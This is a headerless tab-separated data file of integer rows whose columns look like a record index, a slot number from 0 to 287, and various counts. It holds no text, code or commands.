19313	183	1	0	0
19313	184	1	0	0
19313	186	1	0	0
19313	190	1	0	0
19313	197	1	0	0
19313	201	1	0	0
19313	217	1	0	0
19313	230	1	0	0
19313	231	1	0	0
19313	243	1	0	0
19313	245	1	0	0
19313	251	1	0	0
19313	255	1	0	0
19313	256	1	0	0
19313	259	1	0	0
19313	268	1	0	0
19313	283	1	0	0
19313	286	1	0	0
19314	4	1	0	0
19314	15	1	0	0
19314	21	1	0	0
19314	36	1	0	0
19314	38	1	0	0
19314	39	1	0	0
19314	41	1	0	0
19314	45	1	0	0
19314	47	2	0	0
19314	51	1	0	0
19314	58	1	0	0
19314	67	1	0	0
19314	69	1	0	0
19314	74	1	0	0
19314	76	1	0	0
19314	78	2	0	1045
19314	85	1	0	0
19314	99	1	0	0
19314	100	1	0	0
19314	101	1	0	0
19314	102	1	0	0
19314	110	1	0	0
19314	117	1	0	0
19314	160	1	0	0
19314	177	1	0	0
19314	187	1	0	0
19314	192	1	0	0
19314	206	1	0	0
19314	209	1	0	0
19314	224	2	0	0
19314	231	1	0	0
19314	239	2	0	0
19314	241	2	0	0
19314	251	1	0	0
19314	254	3	0	0
19314	255	1	0	0
19314	256	1	0	0
19314	261	1	0	0
19314	263	1	0	0
19314	269	1	0	0
19314	273	1	0	0
19314	276	1	0	0
19314	278	2	0	0
19314	279	1	0	0
19314	282	1	0	0
19315	2	1	0	0
19315	6	1	0	0
19315	7	1	0	0
19315	8	1	0	0
19315	12	1	0	0
19315	13	2	0	0
19315	18	4	0	0
19315	27	1	0	0
19315	29	4	0	0
19315	36	1	0	0
19315	44	1	0	0
19315	46	1	0	0
19315	47	1	0	0
19315	56	1	0	0
19315	72	3	0	0
19315	73	2	0	0
19315	74	1	0	0
19315	77	1	0	0
19315	81	1	0	0
19315	89	3	0	0
19315	90	1	0	0
19315	101	1	0	0
19315	104	1	0	0
19315	121	1	0	0
19315	125	1	0	0
19315	127	3	0	115
19315	149	1	0	0
19315	161	1	0	0
19315	162	1	0	0
19315	163	1	0	0
19315	176	1	0	0
19315	184	2	0	0
19315	199	1	0	0
19315	204	1	0	0
19315	220	1	0	0
19315	222	1	0	0
19315	227	2	0	0
19315	232	1	0	0
19315	243	1	0	0
19315	255	1	0	0
19315	262	1	0	0
19315	264	1	0	0
19315	273	2	0	0
19315	275	1	0	0
19315	277	1	0	0
19315	283	1	0	0
19315	287	1	0	0
19316	4	1	0	0
19316	8	2	0	0
19316	17	3	0	0
19316	18	1	0	0
19316	19	5	0	0
19316	23	4	0	0
19316	24	1	0	0
19316	25	2	0	0
19316	26	3	0	0
19316	27	5	0	0
19316	37	1	0	0
19316	39	2	0	0
19316	40	2	0	0
19316	42	1	0	0
19316	46	1	0	0
19316	57	1	0	0
19316	58	2	0	0
19316	59	1	0	0
19316	60	1	0	0
19316	72	1	0	0
19316	75	2	0	0
19316	79	1	0	0
19316	89	1	0	0
19316	97	1	0	0
19316	106	1	0	0
19316	110	1	0	0
19316	111	1	0	0
19316	114	1	0	0
19316	116	1	0	0
19316	122	1	0	0
19316	123	1	0	0
19316	125	1	0	0
19316	129	1	0	0
19316	130	1	0	0
19316	131	1	0	0
19316	133	1	0	0
19316	135	1	0	0
19316	136	1	0	0
19316	138	1	0	0
19316	149	1	0	0
19316	155	1	0	0
19316	158	1	0	0
19316	170	1	0	0
19316	172	1	0	0
19316	173	1	0	0
19316	175	1	0	0
19316	179	1	0	0
19316	197	1	0	0
19316	198	1	0	0
19316	216	1	0	0
19316	225	2	0	115
19316	238	1	0	0
19316	242	1	0	0
19316	243	1	0	0
19316	264	1	0	0
19316	274	2	0	0
19316	278	1	0	0
19317	0	1	0	0
19317	2	1	0	0
19317	6	2	0	0
19317	14	1	0	0
19317	21	1	0	0
19317	23	1	0	0
19317	29	1	0	0
19317	31	1	0	0
19317	36	1	0	0
19317	42	1	0	0
19317	52	1	0	0
19317	56	1	0	0
19317	68	1	0	0
19317	77	1	0	0
19317	84	1	0	0
19317	93	1	0	0
19317	107	1	0	0
19317	109	1	0	0
19317	119	1	0	0
19317	122	1	0	0
19317	128	1	0	0
19317	143	1	0	0
19317	146	1	0	0
19317	147	1	0	0
19317	148	2	0	0
19317	151	1	0	0
19317	154	1	0	0
19317	155	1	0	0
19317	163	1	0	0
19317	164	1	0	0
19317	176	2	0	0
19317	177	1	0	0
19317	183	2	0	0
19317	185	1	0	0
19317	189	1	0	0
19317	190	1	0	0
19317	191	1	0	0
19317	200	1	0	0
19317	203	1	0	0
19317	204	1	0	0
19317	217	1	0	0
19317	220	1	0	0
19317	224	1	0	0
19317	225	1	0	0
19317	226	1	0	0
19317	233	1	0	0
19317	234	3	2	152
19317	236	1	0	0
19317	238	1	0	0
19317	240	1	0	0
19317	253	1	0	0
19317	254	2	0	115
19317	265	1	0	0
19317	281	1	0	0
19317	282	1	0	0
19317	287	2	0	115
19318	0	1	0	0
19318	3	2	0	0
19318	4	1	0	0
19318	5	1	0	0
19318	7	3	0	0
19318	18	1	0	0
19318	20	1	0	0
19318	23	1	0	0
19318	25	3	0	0
19318	26	7	0	167653
19318	27	1	0	0
19318	31	1	0	0
19318	34	1	0	0
19318	39	1	0	0
19318	41	1	0	0
19318	44	1	0	0
19318	51	2	0	0
19318	59	2	0	115
19318	60	1	0	0
19318	61	1	0	0
19318	84	1	0	0
19318	86	1	0	0
19318	87	1	0	0
19318	93	1	0	0
19318	94	1	0	0
19318	96	1	0	0
19318	109	2	0	115
19318	115	1	0	0
19318	116	1	0	0
19318	118	1	0	0
19318	128	1	0	0
19318	131	1	0	0
19318	134	1	0	0
19318	142	1	0	0
19318	143	1	0	0
19318	152	2	0	0
19318	156	1	0	0
19318	175	1	0	0
19318	187	1	0	0
19318	193	1	0	0
19318	203	1	0	0
19318	204	1	0	0
19318	211	1	0	0
19318	214	1	0	0
19318	224	2	0	0
19318	226	1	0	0
19318	229	1	0	0
19318	230	1	0	0
19318	231	1	0	0
19318	233	2	0	115
19318	235	1	0	0
19318	239	1	0	0
19318	241	1	0	0
19318	258	2	0	2
19318	259	1	0	0
19318	263	1	0	0
19318	269	1	0	0
19318	270	1	0	0
19318	274	1	0	0
19318	281	1	0	0
19318	282	1	0	0
19319	14	1	0	0
19319	18	1	0	0
19319	20	1	0	0
19319	42	1	0	0
19319	48	1	0	0
19319	57	2	0	0
19319	79	1	0	0
19319	80	1	0	0
19319	82	1	0	0
19319	89	1	0	0
19319	93	1	0	0
19319	94	1	0	0
19319	97	1	0	0
19319	102	1	0	0
19319	104	1	0	0
19319	109	1	0	0
19319	127	1	0	0
19319	129	3	0	115
19319	130	1	0	0
19319	136	1	0	0
19319	138	1	0	0
19319	140	1	0	0
19319	141	1	0	0
19319	142	1	0	0
19319	143	1	0	0
19319	145	1	0	0
19319	147	1	0	0
19319	149	1	0	0
19319	172	1	0	0
19319	181	1	0	0
19319	198	1	0	0
19319	206	1	0	0
19319	209	1	0	0
19319	210	1	0	0
19319	211	1	0	0
19319	218	1	0	0
19319	222	1	0	0
19319	232	1	0	0
19319	236	1	0	0
19319	243	2	0	1045
19319	246	1	0	0
19319	267	1	0	0
19319	275	1	0	0
19319	284	3	0	0
19320	9	1	0	0
19320	12	1	0	0
19320	15	2	0	0
19320	53	2	0	0
19320	55	1	0	0
19320	67	1	0	0
19320	70	1	0	0
19320	78	2	0	0
19320	105	1	0	0
19320	122	1	0	0
19320	134	1	0	0
19320	138	1	0	0
19320	139	1	0	0
19320	145	1	0	0
19320	158	1	0	0
19320	170	1	0	0
19320	185	2	0	0
19320	190	1	0	0
19320	194	2	1	6786
19320	202	1	0	0
19320	212	3	0	115
19320	218	1	0	0
19320	235	1	0	0
19320	247	1	0	0
19320	259	1	0	0
19320	262	1	0	0
19320	266	1	0	0
19320	274	2	0	0
19320	275	9	0	0
19320	276	1	0	0
19321	43	1	0	0
19321	49	2	0	0
19321	78	1	0	0
19321	112	3	0	115
19321	136	2	0	0
19321	147	1	0	0
19321	150	1	0	0
19321	153	1	0	0
19321	156	1	0	0
19321	167	2	1	6786
19321	178	1	0	0
19321	180	1	0	0
19321	190	3	0	0
19321	219	2	0	0
19321	241	1	0	0
19321	253	1	0	0
19321	268	2	0	115
19321	281	1	0	0
19322	11	1	0	0
19322	27	1	0	0
19322	59	2	0	115
19322	74	1	0	0
19322	79	1	0	0
19322	82	2	0	115
19322	109	3	0	0
19322	147	1	0	0
19322	149	3	0	0
19322	175	1	0	0
19322	225	1	0	0
19322	261	1	0	0
19322	273	1	0	0
19322	277	2	1	6786
19322	280	1	0	0
19323	11	3	1	6786
19323	13	1	0	0
19323	32	1	0	0
19323	43	1	0	0
19323	53	1	0	0
19323	62	1	0	0
19323	65	1	0	0
19323	87	1	0	0
19323	98	1	0	0
19323	114	1	0	0
19323	135	1	0	115
19323	139	1	0	0
19323	145	1	0	0
19323	167	1	0	0
19323	214	1	0	0
19323	229	1	0	0
19323	245	1	0	0
19323	253	1	0	0
19323	261	1	0	0
19323	264	1	0	0
19323	267	1	0	0
19324	9	1	0	0
19324	10	3	0	0
19324	11	1	0	0
19324	37	1	0	0
19324	50	1	0	0
19324	51	2	0	0
19324	79	1	0	0
19324	82	1	0	0
19324	89	2	1	6786
19324	113	2	0	1045
19324	119	2	0	115
19324	122	1	0	0
19324	126	1	0	0
19324	130	1	0	0
19324	141	1	0	0
19324	160	1	0	0
19324	184	1	0	0
19324	208	2	0	115
19324	221	2	0	115
19324	223	1	0	0
19324	266	1	0	0
19324	268	2	0	19196
19324	282	1	0	0
19325	5	3	0	2630
19325	34	1	0	0
19325	39	1	0	0
19325	40	1	0	0
19325	49	13	0	199788
19325	50	17	0	464270
19325	52	1	0	0
19325	59	1	0	0
19325	73	1	0	0
19325	83	1	0	0
19325	135	2	1	6786
19325	155	1	0	0
19325	170	1	0	0
19325	199	1	0	0
19325	205	2	0	6804
19325	212	2	0	0
19325	251	1	0	0
19325	286	1	0	0
19326	14	1	0	0
19326	29	1	0	0
19326	77	1	0	0
19326	108	1	0	0
19326	132	2	0	115
19326	136	2	0	0
19326	139	2	0	6804
19326	183	1	0	0
19326	203	1	0	0
19326	240	1	0	0
19326	251	1	0	0
19326	253	1	0	0
19326	255	2	0	0
19326	256	2	0	0
19326	272	1	0	0
19326	275	1	0	0
19327	5	2	0	0
19327	40	1	0	0
19327	42	1	0	0
19327	91	1	0	0
19327	96	2	1	6786
19327	99	2	0	115
19327	107	1	0	0
19327	145	1	0	0
19327	148	1	0	0
19327	149	1	0	0
19327	157	1	0	0
19327	167	2	0	115
19327	198	1	0	0
19327	208	1	0	0
19327	213	2	0	0
19327	245	1	0	0
19327	263	3	0	806
19327	266	1	0	0
19327	279	1	0	0
19327	281	1	0	0
19327	282	1	0	0
19328	0	1	0	0
19328	3	1	0	0
19328	6	1	0	0
19328	11	1	0	0
19328	14	1	0	0
19328	15	1	0	0
19328	16	1	0	0
19328	24	7	0	0
19328	25	7	0	0
19328	26	2	0	0
19328	30	1	0	0
19328	34	1	0	0
19328	42	1	0	0
19328	46	2	0	0
19328	47	1	0	0
19328	53	1	0	0
19328	55	1	0	0
19328	107	1	0	0
19328	142	2	0	115
19328	149	1	0	0
19328	154	1	0	0
19328	159	1	0	0
19328	164	1	0	0
19328	171	1	0	0
19328	178	1	0	0
19328	183	1	0	0
19328	185	1	0	0
19328	186	1	0	0
19328	188	1	0	0
19328	189	1	0	0
19328	196	1	0	0
19328	198	1	0	0
19328	199	2	0	0
19328	203	1	0	0
19328	210	1	0	0
19328	216	1	0	0
19328	218	1	0	0
19328	220	1	0	0
19328	224	1	0	0
19328	226	1	0	0
19328	228	1	0	0
19328	230	1	0	0
19328	231	3	0	0
19328	233	2	0	0
19328	241	1	0	0
19328	242	1	0	0
19328	243	1	0	0
19328	246	1	0	0
19328	256	1	0	0
19328	259	2	0	0
19328	260	1	0	0
19328	263	1	0	0
19328	270	1	0	0
19328	271	1	0	0
19328	273	1	0	0
19328	277	2	0	0
19328	278	2	0	0
19328	282	1	0	0
19328	283	1	0	0
19328	284	3	0	115
19328	285	1	0	0
19328	287	1	0	0
19329	0	1	0	0
19329	1	1	0	0
19329	2	1	0	0
19329	5	1	0	0
19329	7	3	0	0
19329	10	1	0	0
19329	11	1	0	0
19329	12	1	0	0
19329	13	2	0	0
19329	15	1	0	0
19329	20	2	0	0
19329	21	1	0	0
19329	28	1	0	0
19329	29	1	0	0
19329	31	1	0	0
19329	33	3	0	0
19329	36	1	0	0
19329	37	1	0	0
19329	40	2	0	0
19329	42	1	0	0
19329	45	1	0	0
19329	50	2	0	0
19329	54	1	0	0
19329	58	1	0	0
19329	69	1	0	0
19329	76	1	0	0
19329	81	1	0	0
19329	94	1	0	0
19329	97	1	0	0
19329	100	1	0	0
19329	102	1	0	0
19329	105	1	0	0
19329	110	1	0	0
19329	126	2	0	0
19329	129	3	0	0
19329	134	2	0	115
19329	140	1	0	0
19329	159	1	0	0
19329	163	1	0	0
19329	169	2	0	0
19329	171	1	0	0
19329	173	1	0	0
19329	174	1	0	0
19329	188	1	0	0
19329	191	1	0	0
19329	199	2	0	1045
19329	206	1	0	0
19329	207	1	0	0
19329	212	1	0	0
19329	213	1	0	0
19329	214	1	0	0
19329	218	1	0	0
19329	227	2	0	0
19329	233	1	0	0
19329	242	3	0	0
19329	245	1	0	0
19329	246	1	0	0
19329	247	2	0	0
19329	249	1	0	0
19329	251	1	0	0
19329	252	1	0	0
19329	253	1	0	0
19329	254	2	0	115
19329	258	1	0	0
19329	259	1	0	0
19329	273	1	0	0
19329	275	1	0	0
19329	278	1	0	0
19329	282	2	0	0
19329	286	1	0	0
19329	287	1	0	0
19330	0	1	0	0
19330	1	1	0	0
19330	10	1	0	0
19330	26	1	0	0
19330	29	1	0	0
19330	32	2	0	0
19330	34	1	0	0
19330	39	1	0	0
19330	40	3	0	0
19330	41	2	0	0
19330	45	1	0	0
19330	48	2	0	0
19330	49	2	0	0
19330	57	1	0	0
19330	67	1	0	0
19330	76	1	0	0
19330	83	1	0	0
19330	84	1	0	0
19330	85	1	0	0
19330	86	2	0	0
19330	87	1	0	0
19330	91	2	0	0
19330	107	1	0	0
19330	114	1	0	0
19330	119	1	0	0
19330	126	1	0	0
19330	130	1	0	0
19330	131	1	0	0
19330	138	1	0	0
19330	141	1	0	0
19330	143	1	0	0
19330	144	1	0	0
19330	147	3	0	115
19330	149	1	0	0
19330	159	1	0	0
19330	161	1	0	0
19330	166	1	0	0
19330	174	1	0	0
19330	175	1	0	0
19330	178	1	0	0
19330	181	1	0	0
19330	182	1	0	0
19330	184	1	0	0
19330	185	1	0	0
19330	188	1	0	0
19330	193	2	1	6786
19330	198	1	0	0
19330	200	1	0	0
19330	215	1	0	0
19330	217	1	0	0
19330	222	1	0	0
19330	223	4	0	6804
19330	225	6	0	0
19330	226	1	0	0
19330	230	1	0	0
19330	239	1	0	0
19330	241	2	0	0
19330	244	1	0	0
19330	247	1	0	0
19330	250	1	0	0
19330	251	1	0	0
19330	257	2	0	0
19330	269	1	0	0
19330	276	1	0	0
19330	279	1	0	0
19330	282	1	0	0
19330	283	1	0	0
19330	287	1	0	0
19331	0	1	0	0
19331	7	1	0	0
19331	15	1	0	0
19331	19	1	0	0
19331	22	1	0	0
19331	25	1	0	0
19331	26	1	0	0
19331	28	1	0	0
19331	35	1	0	0
19331	39	1	0	0
19331	41	1	0	0
19331	44	1	0	0
19331	45	1	0	0
19331	54	1	0	0
19331	57	1	0	0
19331	60	1	0	0
19331	62	1	0	0
19331	64	1	0	0
19331	73	1	0	0
19331	82	1	0	0
19331	102	1	0	0
19331	107	1	0	0
19331	108	1	0	0
19331	109	1	0	0
19331	111	1	0	0
19331	113	1	0	0
19331	122	1	0	0
19331	126	1	0	0
19331	127	1	0	0
19331	129	1	0	0
19331	130	1	0	0
19331	132	1	0	0
19331	142	3	0	115
19331	150	1	0	0
19331	153	1	0	0
19331	160	1	0	0
19331	161	1	0	0
19331	169	1	0	0
19331	176	1	0	0
19331	183	1	0	0
19331	193	1	0	0
19331	197	1	0	0
19331	198	1	0	0
19331	203	1	0	0
19331	204	1	0	0
19331	217	1	0	0
19331	218	2	0	0
19331	219	3	0	0
19331	220	1	0	0
19331	221	6	0	167653
19331	240	1	0	0
19331	248	1	0	0
19331	251	1	0	0
19331	255	2	0	0
19331	262	1	0	0
19331	272	2	0	0
19331	276	1	0	0
19331	278	1	0	0
19331	279	1	0	0
19331	281	1	0	0
19332	1	2	1	6786
19332	7	2	0	0
19332	14	1	0	0
19332	41	1	0	0
19332	63	1	0	0
19332	82	1	0	0
19332	94	1	0	0
19332	100	1	0	0
19332	108	1	0	0
19332	142	1	0	0
19332	158	1	0	0
19332	169	1	0	0
19332	172	1	0	0
19332	208	1	0	0
19332	209	2	0	115
19332	213	1	0	0
19332	217	2	0	115
19332	219	2	0	115
19332	226	1	0	0
19332	234	1	0	0
19332	251	1	0	0
19332	275	1	0	0
19332	283	1	0	0
19333	8	2	0	0
19333	9	1	0	0
19333	13	2	1	6786
19333	25	1	0	0
19333	41	1	0	0
19333	43	2	0	0
19333	50	3	0	6804
19333	51	1	0	0
19333	54	3	0	6804
19333	56	1	0	0
19333	59	1	0	0
19333	86	1	0	0
19333	93	1	0	0
19333	119	1	0	0
19333	123	1	0	0
19333	125	1	0	0
19333	141	1	0	0
19333	147	1	0	0
19333	152	1	0	0
19333	154	1	0	0
19333	155	3	0	0
19333	156	5	0	0
19333	157	6	0	0
19333	158	6	0	0
19333	159	7	0	0
19333	160	6	0	0
19333	161	1	0	0
19333	176	1	0	0
19333	185	1	0	0
19333	203	1	0	0
19333	214	1	0	0
19333	242	1	0	0
19333	268	1	0	0
19333	271	2	0	115
19333	273	1	0	0
19333	277	1	0	0
19333	280	2	0	115
19333	283	2	0	0
19334	4	1	0	0
19334	6	1	0	0
19334	9	1	0	0
19334	16	1	0	0
19334	26	1	0	0
19334	28	1	0	0
19334	37	2	0	0
19334	74	1	0	0
19334	80	1	0	0
19334	84	3	0	0
19334	85	5	0	0
19334	100	1	0	0
19334	106	1	0	0
19334	132	1	0	0
19334	140	1	0	0
19334	145	2	0	115
19334	151	1	0	0
19334	159	1	0	0
19334	182	2	0	6804
19334	201	1	0	0
19334	214	2	0	115
19334	220	2	0	115
19334	234	1	0	0
19334	248	1	0	0
19334	260	1	0	0
19334	263	1	0	0
19334	267	1	0	0
19334	286	1	0	0
19335	38	1	0	0
19335	40	1	0	0
19335	48	1	0	0
19335	56	1	0	0
19335	68	1	0	0
19335	77	2	0	115
19335	78	1	0	0
19335	98	1	0	115
19335	106	1	0	0
19335	118	2	0	0
19335	137	1	0	0
19335	159	2	0	115
19335	166	1	0	0
19335	175	1	0	0
19335	180	1	0	0
19335	186	1	0	0
19335	188	1	0	0
19335	192	1	0	0
19335	197	2	0	0
19335	201	2	0	0
19335	204	1	0	0
19335	205	2	0	0
19335	212	1	0	0
19335	219	1	0	0
19335	226	1	0	0
19335	230	1	0	0
19335	248	1	0	0
19335	260	4	0	1045
19335	270	1	0	0
19335	272	1	0	0
19335	274	1	0	0
19335	276	1	0	0
19336	0	1	0	0
19336	5	1	0	0
19336	9	1	0	0
19336	17	1	0	0
19336	24	1	0	0
19336	28	1	0	0
19336	31	1	0	0
19336	36	1	0	0
19336	38	1	0	0
19336	39	1	0	0
19336	42	2	0	0
19336	44	1	0	0
19336	56	1	0	0
19336	76	1	0	0
19336	95	1	0	0
19336	103	2	0	115
19336	107	1	0	0
19336	110	1	0	0
19336	115	1	0	0
19336	129	1	0	0
19336	131	1	0	0
19336	136	1	0	0
19336	137	1	0	0
19336	139	1	0	0
19336	140	3	0	0
19336	147	1	0	0
19336	148	1	0	0
19336	149	1	0	0
19336	154	1	0	0
19336	160	1	0	0
19336	162	1	0	0
19336	172	1	0	0
19336	176	1	0	0
19336	187	1	0	0
19336	196	1	0	0
19336	198	1	0	0
19336	200	1	0	0
19336	212	1	0	0
19336	215	1	0	0
19336	225	1	0	0
19336	234	1	0	0
19336	237	1	0	0
19336	239	1	0	0
19336	259	1	0	0
19336	264	3	0	6804
19336	266	1	0	0
19336	270	1	0	0
19336	273	3	0	0
19336	274	1	0	0
19336	279	1	0	0
19336	280	2	0	0
19337	8	2	0	0
19337	11	1	0	0
19337	16	2	0	0
19337	20	1	0	0
19337	28	1	0	0
19337	33	1	0	0
19337	34	1	0	0
19337	52	2	0	0
19337	67	1	0	0
19337	70	1	0	0
19337	71	1	0	0
19337	77	1	0	0
19337	82	2	0	0
19337	97	1	0	0
19337	98	1	0	0
19337	101	1	0	0
19337	102	1	0	0
19337	114	1	0	0
19337	115	1	0	0
19337	122	1	0	0
19337	126	1	0	0
19337	133	1	0	0
19337	140	1	0	0
19337	141	1	0	0
19337	147	1	0	0
19337	154	1	0	0
19337	156	1	0	0
19337	174	1	0	0
19337	178	1	0	0
19337	185	2	0	0
19337	192	1	0	0
19337	206	1	0	0
19337	212	1	0	0
19337	217	1	0	0
19337	221	1	0	0
19337	222	1	0	0
19337	232	1	0	0
19337	235	1	0	0
19337	240	1	0	0
19337	244	2	0	115
19337	251	2	0	0
19337	254	1	0	0
19337	267	1	0	0
19337	275	2	0	115
19337	277	1	0	0
19337	279	1	0	0
19337	282	1	0	0
19338	0	1	0	0
19338	1	1	0	0
19338	6	1	0	115
19338	9	1	0	0
19338	21	1	0	0
19338	22	1	0	0
19338	36	1	0	0
19338	40	1	0	0
19338	46	20	0	1410
19338	52	1	0	0
19338	66	1	0	0
19338	69	1	0	0
19338	76	1	0	0
19338	77	1	0	0
19338	81	1	0	0
19338	85	1	0	0
19338	106	1	0	0
19338	124	1	0	0
19338	125	1	0	0
19338	138	1	0	0
19338	149	1	0	0
19338	156	1	0	0
19338	162	2	0	0
19338	163	1	0	0
19338	164	1	0	0
19338	170	1	0	0
19338	174	1	0	0
19338	177	1	0	0
19338	181	1	0	0
19338	184	1	0	0
19338	197	3	0	0
19338	199	1	0	0
19338	219	1	0	0
19338	220	1	0	0
19338	237	1	0	0
19338	242	1	0	0
19338	247	1	0	0
19338	248	1	0	0
19338	253	1	0	0
19338	255	2	0	0
19338	262	2	0	115
19338	264	1	0	0
19338	277	1	0	0
19338	283	1	0	0
19339	1	1	0	0
19339	10	1	0	0
19339	14	1	0	0
19339	18	1	0	0
19339	28	1	0	0
19339	31	1	0	0
19339	32	1	0	0
19339	33	2	0	0
19339	34	1	0	0
19339	36	2	0	0
19339	39	1	0	0
19339	46	20	0	1410
19339	59	1	0	0
19339	66	1	0	0
19339	67	1	0	0
19339	68	1	0	0
19339	81	1	0	0
19339	83	1	0	0
19339	88	1	0	0
19339	99	1	0	0
19339	106	1	0	0
19339	107	1	0	0
19339	110	1	0	0
19339	115	1	0	0
19339	118	1	0	0
19339	120	1	0	0
19339	122	2	1	0
19339	124	1	0	0
19339	138	1	0	0
19339	139	2	0	0
19339	141	1	0	0
19339	144	1	0	0
19339	146	2	0	115
19339	151	1	0	0
19339	156	2	0	115
19339	158	2	0	115
19339	164	1	0	0
19339	168	2	0	0
19339	172	1	0	0
19339	198	1	0	0
19339	201	2	0	0
19339	204	1	0	0
19339	205	1	0	0
19339	209	1	0	0
19339	211	1	0	0
19339	216	1	0	0
19339	223	1	0	0
19339	226	1	0	0
19339	239	1	0	0
19339	248	1	0	0
19339	263	2	0	115
19339	269	1	0	0
19339	274	2	0	115
19339	279	2	0	115
19340	4	1	0	0
19340	11	1	0	0
19340	38	2	0	0
19340	46	30	0	2180
19340	50	1	1	0
19340	70	1	0	0
19340	78	1	0	0
19340	85	1	0	0
19340	108	1	0	0
19340	109	1	0	0
19340	117	2	0	0
19340	119	1	0	0
19340	133	1	0	0
19340	141	1	0	0
19340	142	1	0	0
19340	145	1	0	0
19340	150	1	0	0
19340	153	1	0	0
19340	172	1	0	0
19340	175	1	0	0
19340	189	1	0	0
19340	197	2	0	0
19340	199	2	0	0
19340	203	3	0	115
19340	215	1	0	0
19340	223	1	0	0
19340	234	1	0	0
19340	238	1	0	0
19341	11	2	0	1045
19341	12	1	0	0
19341	21	1	0	0
19341	31	1	0	0
19341	35	1	0	0
19341	41	1	0	0
19341	46	1	0	0
19341	48	1	0	0
19341	51	1	0	0
19341	52	1	0	0
19341	57	4	0	18228
19341	61	2	0	9114
19341	62	1	0	0
19341	63	2	0	9114
19341	71	1	0	0
19341	78	1	0	0
19341	91	1	0	0
19341	106	2	0	115
19341	118	1	0	0
19341	127	1	0	0
19341	133	3	0	115
19341	144	1	0	0
19341	145	1	0	0
19341	151	1	0	0
19341	159	1	0	0
19341	164	1	0	0
19341	170	2	0	115
19341	175	2	0	115
19341	183	1	0	0
19341	199	1	0	0
19341	205	1	0	0
19341	208	1	0	185
19341	212	1	0	0
19341	214	2	0	0
19341	219	1	0	0
19341	229	2	0	0
19341	231	1	0	0
19341	238	1	0	0
19341	242	2	0	0
19341	252	1	0	0
19341	253	1	0	0
19341	258	1	0	0
19341	262	2	0	0
19341	264	1	0	0
19341	266	2	0	115
19341	276	1	0	0
19341	285	1	0	0
19342	1	1	0	0
19342	13	1	0	0
19342	17	1	0	0
19342	18	1	0	0
19342	24	2	0	0
19342	25	1	0	0
19342	40	1	0	0
19342	43	1	0	0
19342	44	1	0	0
19342	47	1	0	0
19342	83	1	0	0
19342	97	1	0	0
19342	100	1	0	0
19342	104	2	0	115
19342	108	4	0	0
19342	110	1	0	0
19342	119	1	0	0
19342	124	1	0	0
19342	132	1	0	0
19342	135	1	0	0
19342	153	1	0	0
19342	156	1	0	0
19342	165	1	0	0
19342	182	2	0	0
19342	183	1	0	0
19342	189	1	0	0
19342	224	1	0	0
19342	225	1	0	115
19342	234	1	0	0
19342	237	1	0	0
19342	240	1	0	0
19342	245	2	0	0
19342	250	1	0	0
19342	254	1	0	0
19342	258	5	0	0
19342	264	1	0	0
19342	267	1	0	0
19342	271	1	0	0
19342	275	1	0	0
19342	286	1	0	0
19343	3	2	0	115
19343	7	1	0	0
19343	11	1	0	0
19343	21	1	0	0
19343	22	1	0	0
19343	36	1	0	0
19343	37	1	0	0
19343	45	1	0	0
19343	48	1	0	0
19343	53	1	0	0
19343	76	1	0	0
19343	82	1	0	0
19343	85	1	0	0
19343	98	1	0	0
19343	104	1	0	0
19343	113	1	0	0
19343	115	1	0	0
19343	116	2	0	115
19343	120	1	0	0
19343	126	1	0	0
19343	130	1	0	0
19343	135	2	0	0
19343	137	1	0	0
19343	139	1	0	0
19343	144	2	0	0
19343	148	1	0	0
19343	155	1	0	0
19343	157	2	0	0
19343	166	1	0	0
19343	175	1	0	0
19343	178	1	0	0
19343	186	1	0	0
19343	202	1	0	0
19343	203	1	0	0
19343	207	2	0	115
19343	211	1	0	0
19343	214	1	0	0
19343	223	1	0	0
19343	228	1	0	0
19343	241	1	0	0
19343	255	1	0	0
19343	259	1	0	0
19343	262	1	0	0
19343	265	1	0	0
19343	266	1	0	0
19343	273	1	0	0
19343	284	7	0	0
19343	285	6	0	0
19343	286	2	0	0
19343	287	1	0	0
19344	8	1	0	0
19344	19	3	0	115
19344	23	1	0	0
19344	40	1	0	0
19344	50	1	0	0
19344	51	1	0	0
19344	54	1	0	0
19344	74	1	0	0
19344	75	1	0	0
19344	81	1	0	0
19344	87	2	0	0
19344	92	1	0	0
19344	100	1	0	0
19344	107	1	0	0
19344	111	1	0	0
19344	114	1	0	0
19344	119	4	3	20358
19344	123	1	0	0
19344	126	1	0	0
19344	134	1	0	0
19344	136	1	0	0
19344	156	1	0	0
19344	179	1	0	0
19344	184	2	1	76
19344	186	1	0	0
19344	203	2	0	0
19344	214	2	1	6786
19344	216	1	0	0
19344	221	1	0	0
19344	224	1	0	0
19344	242	1	0	0
19344	246	1	0	0
19344	261	1	0	0
19344	266	1	0	0
19344	270	1	0	0
19344	279	1	0	0
19344	280	2	0	0
19344	285	3	0	0
19345	12	1	0	0
19345	24	1	0	0
19345	30	1	0	0
19345	39	1	0	0
19345	53	1	0	0
19345	60	1	0	0
19345	62	1	0	0
19345	75	1	0	0
19345	77	1	0	0
19345	78	1	0	0
19345	110	1	0	0
19345	121	1	0	0
19345	127	1	0	0
19345	140	1	0	0
19345	148	1	0	0
19345	158	1	0	0
19345	162	2	0	0
19345	163	1	0	0
19345	167	1	0	0
19345	180	2	0	0
19345	181	1	0	0
19345	191	1	0	0
19345	192	2	0	0
19345	201	1	0	0
19345	204	1	0	0
19345	205	1	0	0
19345	211	2	0	0
19345	220	1	0	0
19345	226	2	0	0
19345	237	2	0	115
19345	256	1	0	0
19345	257	1	0	0
19346	6	1	0	0
19346	13	2	0	115
19346	42	1	0	0
19346	43	2	0	0
19346	66	1	0	0
19346	67	1	0	0
19346	84	1	0	0
19346	118	1	0	0
19346	130	1	0	0
19346	157	1	0	0
19346	160	1	0	0
19346	165	1	0	0
19346	194	1	0	0
19346	198	1	0	0
19346	215	1	0	0
19346	219	1	0	0
19346	245	1	0	0
19346	253	1	0	0
19346	284	1	0	0
19347	6	1	0	0
19347	7	1	0	0
19347	11	1	0	0
19347	12	1	0	0
19347	29	3	0	1596
19347	35	1	0	0
19347	40	1	0	0
19347	43	3	0	0
19347	44	1	0	0
19347	48	1	0	0
19347	77	1	0	0
19347	85	1	0	0
19347	87	1	0	0
19347	89	1	0	0
19347	103	1	0	0
19347	104	2	0	1045
19347	109	1	0	0
19347	119	2	0	115
19347	126	1	0	0
19347	135	1	0	0
19347	138	1	0	0
19347	143	2	0	0
19347	146	1	0	115
19347	158	1	0	0
19347	159	1	0	0
19347	186	1	0	0
19347	196	1	0	0
19347	207	1	0	0
19347	211	3	0	115
19347	217	1	0	0
19347	219	1	0	0
19347	242	1	0	0
19347	246	1	0	0
19347	247	1	0	0
19347	249	1	0	0
19347	268	2	0	115
19347	273	1	0	0
19347	286	1	0	0
